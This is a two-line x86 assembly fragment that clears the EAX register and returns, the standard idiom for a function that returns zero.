xor eax, eax
ret